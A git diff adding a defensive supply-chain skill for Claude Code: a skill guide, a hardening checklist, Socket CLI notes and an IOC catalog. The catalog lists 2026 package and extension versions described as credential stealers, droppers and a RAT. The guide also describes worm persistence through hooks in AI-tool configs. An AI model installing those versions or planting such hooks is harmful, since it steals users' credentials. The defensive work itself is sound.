+> Sigstore/SLSA provenance were each bypassed in the wild in 2026.
+
+## The four layers
+
+| Layer | Control | What it stops |
+|---|---|---|
+| 1. Detection | Behavioural scanner (Socket.dev) on every dependency change | Poisoned package merged via PR or pulled by an install |
+| 2. Interception | `socket` CLI wrapper + `pre-install-scan.sh` hook | Lifecycle scripts (`postinstall`, sdist `setup.py`) executing on install |
+| 3. Hygiene | Stale-OIDC audit, dep cooldown, token rotation, extension audit | The *entry points* worms use to mint publish access |
+| 4. Self-integrity + exposure | `integrity-audit.sh` (persistence hooks in AI-tool / editor configs) + `exposure-check.py` (am I running a named-bad package?) | Worm persistence on *this* machine; latent exposure to a fresh advisory |
+
+## Cost reality — free is enough to start
+
+**The Socket CLI is open-source and free. The free account tier defends against
+this exact campaign at $0.** Paid tiers buy noise-reduction and scale, not the core
+malware detection.
+
+| Capability | Free ($0) | Paid (Team $25/dev → Enterprise) |
+|---|---|---|
+| `socket` CLI (open source) | ✅ | ✅ |
+| Malware / behavioural blocking, 70+ risk types | ✅ | ✅ |
+| Private repos (unlimited) | ✅ | ✅ |
+| Scans / month | 1,000 | 5,000 → unlimited |
+| Members | 3 | 10 → unlimited |
+| **depscore MCP for Claude Code (no API key)** | ✅ | ✅ |
+| Reachability analysis (cuts CVE false positives) | ❌ | ✅ (Team+) |
+| SSO/SAML, SBOM, GitHub Actions + AI-model scanning | ❌ | ✅ (Business+) |
+| OSS projects | Free **Team** account on request | — |
+
+Start free. Move to Team only when CVE false-positive noise or seat count justifies
+it. Full breakdown + exact commands in `references/socket-cli.md`.
+
+## Setup (one-time)
+
+All free, in priority order. The **scripts in this skill need no setup** — run them
+directly. What you switch on is the live tooling:
+
+1. **depscore MCP** — behavioural package scoring inside Claude Code, no API key:
+   `claude mcp add --transport http socket-mcp https://mcp.socket.dev/`
+2. **Install-scan hook** — advisory on every dependency install. Wire
+   `pre-install-scan.sh` into `~/.claude/settings.json` (see "Hook setup" below);
+   set `SUPPLY_CHAIN_BLOCK=1` for a hard gate. Restart Claude Code after editing.
+3. **Socket CLI wrapper** (optional, zero-auth): `npm i -g socket`, then
+   `socket npm install <pkg>` or `socket wrapper on`. `socket login` is only needed
+   for `scan` / `score` / `ci`, not the install wrapper.
+4. **Behavioural engine (optional, on-demand)** for `scan-extensions.sh --deep`:
+   `uv tool install guarddog semgrep`. **Not installed by default** — stay lean.
+   `--deep` auto-detects it; if absent, that mode runs inventory + recency and
+   loudly recommends installing rather than reporting a scan it didn't run. On
+   Windows GuardDog needs `PYTHONUTF8=1` (the script sets it for you).
+
+Situational extras — install only when the need arises
+(`references/tooling-landscape.md`): the behavioural engine above, OSV-Scanner (CVE
+breadth), zizmor + Harden-Runner (CI hardening). The minimum viable set is Socket's
+MCP + the cooldown + `ignore-scripts`; everything else is on-demand.
+
+## Safety tiers
+
+| Operation | Tier | Execution |
+|---|---|---|
+| Score / scan a package before adding it | T1 | Inline (depscore MCP or `socket package score`) |
+| Detect project stack + installed tools | T1 | Inline |
+| Run `integrity-audit.sh` (read-only) | T1 | Inline |
+| Run `preinstall-check.sh` on a package spec | T1 | Inline |
+| Behavioural scan of full manifest (`socket scan`) | T2 | Inline / background |
+| Audit GitHub Actions for stale OIDC trust | T2 | Inline (read workflows) |
+| **Install / upgrade a dependency** | T3 | Confirm + scan first |
+| **Rotate publish tokens / revoke OIDC trust** | T3 | Confirm — changes live infra |
+| **Remove a flagged persistence hook from settings** | T3 | Confirm — edits user config |
+
+## Workflows
+
+These map 1:1 to the briefing's recommended actions, ordered effort→value.
+
+### A. Score a package before suggesting it (do this proactively)
+
+When considering adding a dependency, get a behavioural verdict *first*:
+
+- **With the depscore MCP** (free, no key): ask the `socket-mcp` server for the
+  package score. Setup is a one-liner — see `references/socket-cli.md`.
+- **With the CLI:** `socket package score <ecosystem> <name> <version>`
+- **Cooldown check:** `scripts/preinstall-check.sh <pkg>[@version] …` flags any
+  package published inside the 7-day cooldown window and routes to `socket` if
+  installed.
+
+Never recommend a brand-new (`@latest`, day-zero) release for a production path.
+
+**Score the *whole* current project, not just one package** — the depscore MCP
+takes a list, so read every dependency from the manifest and score them in one
+call: parse `package.json` (`dependencies` + `devDependencies`), `requirements.txt`,
+`composer.json`, `Cargo.toml`, etc., then pass the full `{depname, ecosystem,
+version}` set to depscore. Triage anything with a low `supplyChain` / `quality`
+score before the next install or commit. This is the highest-value recurring local
+move — do it when opening a repo and after any dependency change.
+
+### B. Trial Socket.dev on one repository (≈1 hour)
+
+1. Pick the lowest-risk repo (small surface, low client exposure).
+2. Install the **GitHub app** (free tier, private repos included) — it comments a
+   risk report on any PR that adds/bumps a dependency.
+3. Optionally `npm install -g socket && socket login` for terminal scanning.
+4. Run for two weeks, review what it flags during PRs, then expand.
+
+### C. Wrap installs at the terminal (layer 2)
+
+Route risky installs through Socket so they're intercepted before lifecycle
+scripts run:
+
+- One-off: `socket npm install <pkg>` / `socket npx <pkg>`
+- Workspace-wide: `socket wrapper on` (aliases `npm`/`npx` → routed through
+  Socket; `socket wrapper off` to disable; `socket raw-npm` to bypass once).
+- Claude Code reinforcement: enable the `pre-install-scan.sh` hook (advisory by
+  default) — see Hook setup below.
+- Cheapest possible mitigation — **disable lifecycle scripts entirely** where the
+  project doesn't need them: `npm config set ignore-scripts true` (npm), or pnpm
+  `enable-pre-post-scripts=false`. This neuters the `postinstall` vector outright.
+- Validate the lockfile itself with `lockfile-lint` — catches a lockfile whose
+  resolved URLs point at a non-registry host (lockfile injection). See
+  `references/tooling-landscape.md`.
+
+### D. Audit GitHub Actions for stale OIDC trust (≈half a day)
+
+The Mini Shai-Hulud entry point was an **orphaned commit with live OIDC trust
+federation** to npm. No phished human. Audit and revoke:
+
+- Find workflows requesting an OIDC token: search for `id-token: write` and
+  `permissions:` blocks, plus `npm publish` / `pypi` / `twine` / trusted-publisher
+  steps. `scripts/integrity-audit.sh` flags these.
+- For each: is publish trust still needed? If not, revoke the trust relationship
+  on the registry side (npm trusted publisher / PyPI publisher) **and** remove the
+  workflow permission.
+
+### E. Pin and freeze production dependencies
+
+Commit lockfiles. Pin exact versions for anything in CI/prod. Apply a **7-day
+cooldown**: don't auto-update production deps until a release has aged a week, so
+the ecosystem has time to detect and remediate a compromise. (Axios poisoned
+versions were live ~3 hours — a 7-day lag would have caught it.)
+
+### F. Rotate publish tokens → short-lived OIDC
+
+Audit who holds standing npm/PyPI publish tokens. Prefer short-lived OIDC trusted
+publishing over long-lived tokens. Rotate any long-lived token; tighten the set of
+accounts with publish access. (T3 — confirm before rotating, it can break CI.)
+
+### G. Editor extension / plugin audit (Nx Console / GitHub-breach vector)
+
+Three layers, in order — known-bad, then visibility, then behavioural:
+
+1. **Known-bad (IOC):** `python scripts/exposure-check.py` matches installed
+   extensions (VS Code/Cursor/Windsurf/VSCodium) against the catalog — e.g. Nx
+   Console `nrwl.angular-console@18.95.0`, the backdoor behind the GitHub
+   3,800-repo breach. Catches what's already named in an advisory.
+2. **Inventory + recency:** `bash scripts/scan-extensions.sh` lists every
+   extension, Claude plugin (with pinned commit SHA), and skill, flagging what
+   changed inside the recency window — the exact "no visibility into what's
+   installed or how recently" gap the campaign exploits (Nx Console was live 11
+   min). Zero-dependency, no false positives.
+3. **Unknown-bad (behavioural):** `bash scripts/scan-extensions.sh --deep` runs
+   GuardDog's semgrep rules against recently-changed extensions when `guarddog` +
+   `semgrep` are present (`uv tool install guarddog semgrep`, on-demand — not kept
+   installed). If absent it runs inventory only and recommends the install — never
+   a false-clean. Best-effort on minified bundles — layers 1–2 stay the backbone for
+   extensions; layer 3 is strongest on source (plugins/skills).
+
+Verified-publisher status is **not** sufficient — Nx Console was a verified
+publisher with 2.2M installs. Pause anything recently published by a non-verified
+publisher until it ages.
+
+### H. Self-integrity scan (layer 4 — the one the briefing didn't have to worry about)
+
+Run `scripts/integrity-audit.sh`. It is **read-only** and reports:
+
+- New/unexpected `hooks` or `mcpServers` entries in `~/.claude/settings.json`,
+  `~/.claude/settings.local.json`, `~/.claude.json`, and project `.claude/`.
+- Suspicious entries in VS Code `settings.json` (startup commands, task autoruns).
+- Workflows with live OIDC publish trust (feeds workflow D).
+
+A worm's persistence hook into Claude Code settings is the IOC from the briefing's
+most-quoted line. If the scan flags something you didn't add, treat it as an
+incident: isolate, rotate credentials, and investigate before continuing.
+
+### I. Exposure response — "an advisory just dropped; are we running it?"
+
+When an advisory names a poisoned package + version, the urgent question is which
+projects/machines already have it. Match local state against an IOC catalog:
+
+```bash
+python scripts/exposure-check.py --root ~/code --root ~/work
+python scripts/exposure-check.py --root . --json | jq '.data.findings[]'
+```
+
+It reads npm lockfiles and Python installed metadata (no execution, no network),
+exits **10** if anything matches. The bundled `assets/exposure-catalog.json` is
+seeded with cited 2026 IOCs (axios 1.14.1 / 0.30.4) and is meant to be **extended
+from advisories** — add `{ecosystem, package, versions[]}` entries as incidents
+break. A match is an incident: isolate, rotate, remove the package.
+
+For **fleet-scale** exposure response across many macOS/Linux endpoints (with far
+broader ecosystem + extension + MCP coverage), use Perplexity's **Bumblebee** —
+whose catalog format this borrows. It does not run on Windows; `exposure-check.py`
+is the cross-platform local equivalent. See `references/tooling-landscape.md`.
+
+## Hook setup — two checkpoints for the two ways a dep enters
+
+A dependency reaches a local machine two ways, and each gets an advisory hook:
+
+- **`pre-install-scan.sh`** (PreToolUse / `Bash`) — fires on install verbs
+  (`npm/pnpm/yarn/bun install|add`, `pip install`, `uv add`, `composer
+  require|install|update`, `gem install`, `cargo add`). Surfaces the cooldown +
+  `socket` equivalent. Set
+  `SUPPLY_CHAIN_BLOCK=1` for a hard gate; otherwise advisory.
+- **`manifest-dep-scan.sh`** (PostToolUse / `Write|Edit`) — fires when the agent
+  *edits a manifest* (`package.json`, `requirements*.txt`, `composer.json`,
+  `Cargo.toml`, `go.mod`, `Gemfile`, `pyproject.toml`) and the change adds a version
+  spec — the Claude-Code path the install hook misses. Advises depscore + cooldown
+  before install. High-signal: silent on version bumps / metadata edits.
+
+Both read the tool call as JSON on stdin (`.tool_input`), falling back to `$1`.
+
+```json
+{
+  "hooks": {
+    "PreToolUse": [
+      { "matcher": "Bash", "hooks": [
+        { "type": "command", "command": "bash \"$HOME/.claude/hooks/pre-install-scan.sh\"", "timeout": 5 } ] }
+    ],
+    "PostToolUse": [
+      { "matcher": "Write|Edit", "hooks": [
+        { "type": "command", "command": "bash \"$HOME/.claude/hooks/manifest-dep-scan.sh\"", "timeout": 5 } ] }
+    ]
+  }
+}
+```
+
+## Anti-patterns
+
+| Anti-pattern | Why it fails | Do instead |
+|---|---|---|
+| "We run `npm audit` in CI, we're covered." | Advisory-driven; blind to malware in the publish-to-CVE window — the exact gap the 2026 worms exploit. | Add a behavioural scan (Socket / GuardDog) gating the merge, not just a CVE check. |
+| Trusting valid provenance / SLSA attestation as proof of safety. | Mini Shai-Hulud minted **valid Build L3 attestations** from stolen OIDC tokens. Valid ≠ safe. | Treat provenance as one signal; require behavioural verdict too. |
+| Auto-updating production deps the day a release lands. | Poisoned versions live for hours; you become an early victim. | 7-day release-age cooldown (Renovate `minimumReleaseAge`). |
+| Treating a verified-publisher VS Code extension as trustworthy. | Nx Console: verified publisher, 2.2M installs, backdoored. | Check publication recency; pause <7-day non-verified; audit on a schedule. |
+| Leaving `id-token: write` on workflows that no longer publish. | The orphaned-OIDC entry point — a token minted from a stale workflow. | Revoke registry trust + drop the permission. Run `zizmor`. |
+| Deleting a found persistence hook and moving on. | The worm stole credentials *before* it persisted; the hook is the symptom. | Treat as an incident: isolate, rotate every reachable credential, then investigate. |
+
+## Verification checklist
+
+- [ ] A behavioural verdict (not just `npm audit`) exists for every newly added/bumped dependency
+- [ ] Production deps respect a release-age cooldown (≥7 days)
+- [ ] Lockfiles committed; exact pins for anything in CI/prod
+- [ ] No workflow carries `id-token: write` it doesn't need (`zizmor` clean)
+- [ ] Long-lived publish tokens rotated or replaced with short-lived OIDC
+- [ ] `scripts/integrity-audit.sh` exits 0 (no unexplained hooks/MCP servers in `.claude/` or VS Code settings)
+- [ ] `ignore-scripts` enabled where lifecycle scripts aren't needed
+- [ ] depscore MCP or `socket` CLI available so packages can be scored before they're suggested
+
+## Scripts
+
+All four follow the Axiom Tool Protocol: `--help` with EXAMPLES, `--json` for
+machine-readable output, stdout = data / stderr = progress, semantic exit codes
+(0 ok, 2 usage, 3 not-found, 4 invalid, 5 missing-dep, 7 unavailable, **10 = signal
+found** — review items / inside-cooldown / exposed / behavioural finding).
+Pipe-friendly: `--json | jq`.
+
+**Dependencies.** The skill is markdown + bash and every script's *default* mode is
+zero-dep (bash, coreutils, `curl`; `jq` only for `--json`). `scan-extensions.sh
+--deep` auto-detects `guarddog`+`semgrep` and uses them when present; when absent it
+runs inventory + recency and *loudly recommends* the on-demand install rather than
+reporting a behavioural scan it never ran (which would be the same false-clean
+GuardDog itself hits without semgrep). Nothing heavyweight is kept on the machine by
+default. All named tools (socket, guarddog, semgrep, zizmor, OSV-Scanner) are an
+optional *menu* — see `references/tooling-landscape.md` → "How the controls
+interact" for the minimum viable set.
+
+| Script | Purpose | Side effects |
+|---|---|---|
+| `scripts/integrity-audit.sh` | Scan AI-tool configs (Claude Code/Desktop, Gemini, MCP host JSON) + editor settings (VS Code, Cursor, Windsurf, VSCodium) for injected persistence hooks/MCP servers; flag workflows with live OIDC publish trust (uses `zizmor` if installed). Exit 10 if anything to review. | Read-only |
+| `scripts/preinstall-check.sh` | Given package specs, report registry publish age (npm/PyPI), flag any inside the cooldown window, route to `socket` if available. Exit 10 if any inside cooldown. | Read-only (queries registries) |
+| `scripts/exposure-check.py` | Match on-disk **npm (package-lock/pnpm/yarn) / PyPI / Composer / Cargo / Go / RubyGems** lockfiles **and installed editor extensions** against an IOC catalog (`assets/exposure-catalog.json`) — the "are we running a named-bad version/extension?" check. Supports a `*` wildcard for tag-rewrite attacks. Exit 10 if exposed. Catalog format borrowed from Bumblebee. | Read-only |
+| `scripts/scan-extensions.sh` | **Unknown-bad** triage of installed editor extensions / Claude plugins / skills. Default = zero-dep **inventory + recency** (no false positives). `--deep` auto-detects `guarddog`+`semgrep`: runs the behavioural scan if present (exit 10 on a finding), else runs inventory only and *loudly recommends* the on-demand install — never a false-clean. | Read-only |
+
+```bash
+scripts/integrity-audit.sh --json | jq '.data.review[]'
+scripts/preinstall-check.sh --pip requests fastapi@0.110.0 --json | jq '.data[] | select(.inside_cooldown)'
+```
+
+`tests/run.sh` is an offline-deterministic self-test (18 assertions) covering all
+three scripts + the hook against crafted fixtures — run it after any edit:
+`bash tests/run.sh` (exit 0 = all pass).
+
+## Reference files
+
+| File | Contents |
+|---|---|
+| `references/threat-model.md` | 2026 timeline (axios, Shai-Hulud, durabletask, Nx, GitHub breach), worm mechanics, IOCs, and why each legacy control failed |
+| `references/socket-cli.md` | Accurate Socket CLI + depscore MCP command surface, free-vs-paid table, Claude Code setup, source links, briefing corrections |
+| `references/tooling-landscape.md` | The wider (mostly free/OSS) defender ecosystem — GuardDog, OSV-Scanner, zizmor, Harden-Runner, lockfile-lint, `ignore-scripts` — mapped to the four layers, with a when-to-use-which matrix |
+| `references/hardening-checklist.md` | Step-by-step OIDC audit, token rotation, dep cooldown policy, extension audit, persistence detection, client-proposal language |
+
+## See also
+
+| Skill | When to combine |
+|---|---|
+| `security-ops` | Reactive CVE/SAST/auth audit — run alongside; they solve different problems |
+| `ci-cd-ops` | Hardening GitHub Actions, OIDC trusted publishing setup |
+| `github-ops` | Release flow, repo security settings |
+| `auth-ops` | Credential/token handling patterns after a rotation |

+ 0 - 0
skills/supply-chain-defense/assets/.gitkeep


+ 79 - 0
skills/supply-chain-defense/assets/exposure-catalog.json

@@ -0,0 +1,79 @@
+{
+  "schema_version": "v0.1.0",
+  "_about": "IOC exposure catalog for exposure-check.py. Format borrowed from Perplexity's Bumblebee (docs/schema/v0.1.0/exposure-catalog.schema.json, Apache-2.0). Seed it from advisories: each entry is a known-bad {ecosystem, package, versions[]}. Only add versions you can cite from a real advisory — a fabricated entry is a false match waiting to happen. Use versions:[\"*\"] ONLY for tag-rewrite attacks where every version is poisoned (never for a normal compromise — it would false-match legit installs). ecosystem one of: npm, pypi, composer, cargo, go, rubygems, mcp, editor-extension, browser-extension.",
+  "_large_advisory_sets": "This catalog is for hand-curated high-value IOCs (single poisoned versions, or tag-rewrites). For LARGE advisory sets — TanStack (CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx, 42 @tanstack/* pkgs, 84 artifacts, 2026-05-11) and AntV (300+ pkgs / 323 versions, 2026-05-19) — do NOT inline dozens of versions here. Run osv-scanner on the lockfile (it ingests these GHSAs) or use depscore; that's the right tool for bulk advisory matching. Keep this catalog fresh from advisories or `socket threat-feed`.",
+  "entries": [
+    {
+      "id": "AXIOM-SC-2026-LARAVEL-LANG",
+      "name": "Laravel-Lang Composer tag-rewrite credential stealer",
+      "ecosystem": "composer",
+      "package": "laravel-lang/lang",
+      "versions": ["*"],
+      "severity": "critical",
+      "note": "2026-05-22: ~700 historical git tags across laravel-lang/lang, /attributes, /http-statuses, /actions rewritten to a malicious commit. Payload injected via Composer autoload.files (helpers.php) — runs every PHP request, NOT a lifecycle script (so --no-scripts does NOT help). ALL versions suspect → versions:[*]. One entry per package; duplicate for /attributes, /http-statuses, /actions."
+    },
+    {
+      "id": "AXIOM-SC-2026-LARAVEL-LANG-ATTRIBUTES",
+      "name": "Laravel-Lang Composer tag-rewrite credential stealer",
+      "ecosystem": "composer",
+      "package": "laravel-lang/attributes",
+      "versions": ["*"],
+      "severity": "critical",
+      "note": "Part of the 2026-05-22 laravel-lang tag-rewrite compromise. See AXIOM-SC-2026-LARAVEL-LANG."
+    },
+    {
+      "id": "AXIOM-SC-2026-LARAVEL-LANG-HTTP-STATUSES",
+      "name": "Laravel-Lang Composer tag-rewrite credential stealer",
+      "ecosystem": "composer",
+      "package": "laravel-lang/http-statuses",
+      "versions": ["*"],
+      "severity": "critical",
+      "note": "Part of the 2026-05-22 laravel-lang tag-rewrite compromise. See AXIOM-SC-2026-LARAVEL-LANG."
+    },
+    {
+      "id": "AXIOM-SC-2026-LARAVEL-LANG-ACTIONS",
+      "name": "Laravel-Lang Composer tag-rewrite credential stealer",
+      "ecosystem": "composer",
+      "package": "laravel-lang/actions",
+      "versions": ["*"],
+      "severity": "critical",
+      "note": "Part of the 2026-05-22 laravel-lang tag-rewrite compromise. See AXIOM-SC-2026-LARAVEL-LANG."
+    },
+    {
+      "id": "AXIOM-SC-2026-NX-CONSOLE",
+      "name": "Nx Console VS Code extension credential stealer",
+      "ecosystem": "editor-extension",
+      "package": "nrwl.angular-console",
+      "versions": ["18.95.0"],
+      "severity": "critical",
+      "note": "2026-05-18: Nx Console v18.95.0 (2.2M+ installs, verified publisher) published to the VS Code Marketplace with a credential stealer (GitHub/npm/AWS/Vault/k8s/1Password) that specifically reads ~/.claude/settings.json. Live ~11 min; auto-update pushed it widely. The poisoned extension behind the GitHub 3,800-repo breach. Match id is <publisher>.<name>."
+    },
+    {
+      "id": "AXIOM-SC-2026-DURABLETASK",
+      "name": "Microsoft durabletask PyPI dropper (Mini Shai-Hulud / AntV wave)",
+      "ecosystem": "pypi",
+      "package": "durabletask",
+      "versions": ["1.4.1", "1.4.2", "1.4.3"],
+      "severity": "critical",
+      "note": "2026-05-19: 3 malicious versions of Microsoft's official durabletask SDK published to PyPI (safe = 1.4.0). Dropper injected into source files fetches a stage-2 infostealer/worm that harvests cloud/password-manager/dev-tool creds, RSA-encrypts, exfiltrates. No PyPI provenance on any version. Yanked. Cited: Aikido, Snyk."
+    },
+    {
+      "id": "AXIOM-SC-2026-AXIOS",
+      "name": "axios RAT delivery (Sapphire Sleet)",
+      "ecosystem": "npm",
+      "package": "axios",
+      "versions": ["1.14.1", "0.30.4"],
+      "severity": "critical",
+      "note": "2026-03-30/31: maintainer account compromised, two backdoored versions published in a 39-min window, live ~3h. Cross-platform RAT delivery. Attributed to Sapphire Sleet (NK)."
+    },
+    {
+      "id": "EXAMPLE-TEMPLATE-DO-NOT-MATCH",
+      "name": "Format example — replace with real advisory IOCs",
+      "ecosystem": "pypi",
+      "package": "example-bad-package-that-does-not-exist",
+      "versions": ["0.0.0-never"],
+      "severity": "info",
+      "note": "Template only. When an advisory names a package (e.g. the Microsoft durabletask PyPI compromise, the TanStack/AntV npm waves), add an entry here with the exact versions from the advisory. This example package name is intentionally non-existent so it never matches."
+    }
+  ]
+}

+ 207 - 0
skills/supply-chain-defense/references/hardening-checklist.md

@@ -0,0 +1,207 @@
+# Supply Chain Hardening Checklist
+
+Step-by-step procedures for the hygiene and self-integrity layers. Run top to
+bottom for a full hardening pass, or jump to a section. The first three are
+read-only; the rest change live state — confirm before acting.
+
+---
+
+## 1. Self-integrity + exposure scan (read-only — run first)
+
+Detect whether a worm has already persisted on this machine, and whether you have a
+known-bad package/extension installed.
+
+```bash
+bash scripts/integrity-audit.sh      # persistence: .claude/MCP/editor configs,
+                                      # shell rc files, .npmrc/.pypirc, workflow OIDC
+python scripts/exposure-check.py --root .   # known-IOC match across npm/pnpm/yarn/
+                                            # pypi/composer/cargo/go/rubygems + extensions
+```
+
+Manual equivalents if you want to eyeball it:
+
+```bash
+# Claude Code config — look for hooks / mcpServers you didn't add
+cat ~/.claude/settings.json ~/.claude/settings.local.json ~/.claude.json 2>/dev/null
+
+# VS Code user settings — look for startup tasks, autorun, unexpected entries
+#   macOS:   ~/Library/Application Support/Code/User/settings.json
+#   Linux:   ~/.config/Code/User/settings.json
+#   Windows: %APPDATA%\Code\User\settings.json
+```
+
+**If you find an entry you didn't add → treat as an incident:** isolate the
+machine, rotate every credential reachable from it (cloud, npm/PyPI, GitHub, AI
+API keys), and investigate before continuing. Do not just delete the hook and
+move on — the worm's first act was credential theft.
+
+---
+
+## 2. Editor extension audit (read-only)
+
+```bash
+bash scripts/scan-extensions.sh          # inventory + recency of extensions/plugins/skills
+bash scripts/scan-extensions.sh --deep   # + GuardDog behavioural (auto-detects engine)
+code --list-extensions --show-versions   # manual cross-check
+```
+
+`exposure-check.py` (step 1) already flags *known-bad* extensions by IOC; this step
+adds inventory, recency, and behavioural triage for *unknown* ones. For each
+extension, check publication recency on the Marketplace. **Pause anything
+published in the last 7 days from a non-verified publisher.** Remember Nx Console:
+verified publisher, 2.2M installs, still backdoored — verified status is not a
+safety guarantee, recency + behaviour is.
+
+Disable rather than uninstall while triaging, so you can compare versions:
+
+```bash
+code --disable-extension <publisher.extension>
+```
+
+---
+
+## 3. Stale OIDC trust audit (read-only)
+
+The Mini Shai-Hulud entry point. Find every workflow that can mint a publish
+token:
+
+```bash
+# Workflows requesting an OIDC token
+rg -l 'id-token:\s*write' .github/workflows/
+
+# Publish steps that consume it
+rg -n 'npm publish|pypi|twine upload|trusted.?publish|setup-node.*registry-url' .github/workflows/
+```
+
+`scripts/integrity-audit.sh` reports these automatically. For richer static
+analysis — `pull_request_target` misuse, template injection, over-broad token
+scopes — run **zizmor** (the audit script invokes it automatically if installed):
+
+```bash
+uv tool install zizmor
+zizmor .github/workflows/
+```
+
+For each workflow with publish trust, ask: **is this still needed?** A federation
+left configured on an orphaned/archived workflow is pure attack surface.
+
+---
+
+## 4. Revoke stale OIDC + rotate tokens (changes live state — confirm)
+
+For trust relationships you no longer need:
+
+- **npm:** Settings → trusted publishers → remove the GitHub workflow binding.
+  Audit Access Tokens; delete unused; prefer granular automation tokens with the
+  narrowest scope, or move to trusted publishing entirely.
+- **PyPI:** Project → Settings → Publishing → remove stale trusted publishers.
+  Revoke unused API tokens.
+- **Workflow side:** drop `id-token: write` from `permissions:` where publishing
+  no longer happens.
+
+Prefer **short-lived OIDC trusted publishing** over long-lived tokens everywhere.
+Rotate any long-lived publish token now; keep the set of accounts with standing
+publish access as small as the team allows.
+
+> T3 — rotating a token or removing trust can break a running pipeline. Confirm
+> the workflow is genuinely stale, and have the replacement (OIDC) ready before
+> revoking the old path.
+
+---
+
+## 5. Dependency pinning + cooldown policy
+
+- Commit lockfiles (`package-lock.json`, `pnpm-lock.yaml`, `composer.lock`,
+  `uv.lock`, `Cargo.lock`).
+- Pin exact versions for anything that runs in CI or production.
+- **7-day cooldown:** do not auto-update production dependencies until a release
+  has aged at least a week. Encode it in Renovate/Dependabot:
+
+```jsonc
+// renovate.json — hold prod deps for 7 days after release
+{
+  "packageRules": [
+    { "matchDepTypes": ["dependencies"], "minimumReleaseAge": "7 days" }
+  ]
+}
+```
+
+Rationale: the axios poisoned versions were live ~3 hours. A 7-day lag gives the
+ecosystem (and Socket's behavioural feed) time to detect and remediate before you
+pull.
+
+Check publish age ad-hoc before any add:
+
+```bash
+bash scripts/preinstall-check.sh axios react@19.0.0
+```
+
+---
+
+## 6. Wrap installs (layer 2)
+
+Route installs through the behavioural scanner so lifecycle scripts are gated:
+
+```bash
+socket npm install <pkg>     # one-off
+socket wrapper on            # workspace-wide alias of npm/npx → Socket
+```
+
+Reinforce inside Claude Code with the `pre-install-scan.sh` hook (advisory; set
+`SUPPLY_CHAIN_BLOCK=1` for a hard gate). See SKILL.md → Hook setup.
+
+Two more cheap, free hardening levers:
+
+```bash
+# Disable lifecycle scripts where you don't need build hooks (removes the
+# postinstall vector entirely). Allow specific packages back via npm rebuild.
+npm config set ignore-scripts true        # pnpm: enable-pre-post-scripts=false
+
+# Validate the committed lockfile points only at the real registry over https.
+npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
+```
+
+---
+
+## 7. Behavioural scanning in PRs + CI (layer 1)
+
+- Install the Socket **GitHub app** on the repo (free tier, private repos
+  included). It comments a risk report on any dependency-changing PR.
+- In CI: `socket ci` enforces your org's policy and fails the build on a flagged
+  package. Free-tier scan cap is 1,000/month.
+- Add free/OSS engines for breadth and a runtime backstop:
+
+```bash
+osv-scanner scan -r .            # broad CVE coverage (Google OSV.dev), all manifests
+guarddog npm verify package-lock.json   # local behavioural second opinion (Datadog)
+```
+
+```yaml
+# .github/workflows/*.yml — runtime egress control on the runner (free for public repos)
+- uses: step-security/harden-runner@v2
+  with:
+    egress-policy: audit         # tighten to 'block' + allowlist once baseline is known
+```
+
+See `references/tooling-landscape.md` for the full when-to-use-which matrix.
+
+---
+
+## 8. Client-facing posture (optional but increasingly asked)
+
+For security questionnaires and proposals, "we run behavioural package scanning on
+every dependency change, enforce a release-age cooldown on production
+dependencies, and audit CI publish trust" is a credible, specific answer. Expect
+procurement and insurance to ask harder supply-chain questions through 2027.
+
+---
+
+## Quick pass (the 1-hour version)
+
+1. `bash scripts/integrity-audit.sh` — confirm the machine is clean.
+2. Install the Socket GitHub app on your lowest-risk repo.
+3. `claude mcp add --transport http socket-mcp https://mcp.socket.dev/` — free
+   depscore in Claude Code, no key.
+4. Add `minimumReleaseAge: 7 days` to Renovate/Dependabot for prod deps.
+5. Skim `rg -l 'id-token:\s*write' .github/workflows/` and note anything stale to
+   revoke later.

+ 151 - 0
skills/supply-chain-defense/references/socket-cli.md

@@ -0,0 +1,151 @@
+# Socket.dev — CLI, MCP, and pricing reference
+
+Accurate command surface as of May 2026. Distilled from
+[docs.socket.dev/docs/socket-cli](https://docs.socket.dev/docs/socket-cli),
+[socket.dev/pricing](https://socket.dev/pricing), and
+[github.com/SocketDev/socket-mcp](https://github.com/SocketDev/socket-mcp). Verify
+against the live docs before quoting versions — Socket iterates fast.
+
+## Is it free? — yes, and free covers this threat
+
+The **Socket CLI is open-source and free to install and run.** A **free account**
+($0) is enough to defend against the 2026 worm campaign. Paid tiers buy
+noise-reduction (reachability) and scale, not the core malware detection.
+
+| Capability | Free ($0) | Team ($25/dev/mo) | Business ($50/dev/mo) | Enterprise |
+|---|---|---|---|---|
+| `socket` CLI | ✅ | ✅ | ✅ | ✅ |
+| Malware blocking + AI behavioural analysis, 70+ risk types | ✅ | ✅ | ✅ | ✅ |
+| Private repos | ✅ unlimited | ✅ | ✅ | ✅ |
+| GitHub app (PR risk comments) | ✅ | ✅ | ✅ | ✅ |
+| **depscore MCP (no API key)** | ✅ | ✅ | ✅ | ✅ |
+| Scans / month | 1,000 | 5,000 | unlimited | unlimited |
+| Members | 3 | 10 | unlimited | unlimited |
+| Repository labels | 1 | 3 | unlimited | unlimited |
+| Reachability analysis (cuts ~60% CVE false positives) | ❌ | ✅ | ✅ | ✅ |
+| SSO/SAML, SBOM import/export, compliance | ❌ | ❌ | ✅ | ✅ |
+| GitHub Actions + AI-model scanning | ❌ | ❌ | ✅ | ✅ |
+| Function-level reachability (~90% CVE reduction) | ❌ | ❌ | ❌ | ✅ |
+| GitLab / Bitbucket / Azure DevOps, SCIM, audit logs | ❌ | ❌ | ❌ | ✅ |
+
+> **Open-source projects:** "Socket is and will always be free to use for
+> open-source." Qualifying OSS teams can request a **complimentary Team account**
+> (the larger scan cap + reachability) for free.
+
+**Recommendation:** start on Free. The 1,000-scan cap and 3 members are generous
+for a small team trialling one repo. Move to Team only when CVE false-positive
+noise (reachability) or seat count justifies $25/dev.
+
+## Installation
+
+```bash
+npm install -g socket          # CLI is published as the `socket` npm package
+```
+
+> ⚠️ Terminology correction: older write-ups (and the originating briefing) call
+> the wrappers "safe npm" / "safe pip". The current CLI is `npm install -g socket`
+> then `socket npm …` / `socket wrapper on`. There is **no documented `socket pip`
+> wrapper** — for PyPI use `socket scan` against the manifest + the GitHub app +
+> the depscore MCP rather than expecting a pip wrapper.
+
+## Authentication
+
+```bash
+socket login                   # interactive; stores API token locally
+socket logout                  # remove stored credentials
+SOCKET_SECURITY_API_TOKEN=xyz socket <command>   # non-interactive / CI
+```
+
+The depscore MCP **remote** needs no login at all (see below).
+
+> Verified (May 2026, CLI v1.1.93):
+> - `socket package score` and `socket scan` **require a token** — without
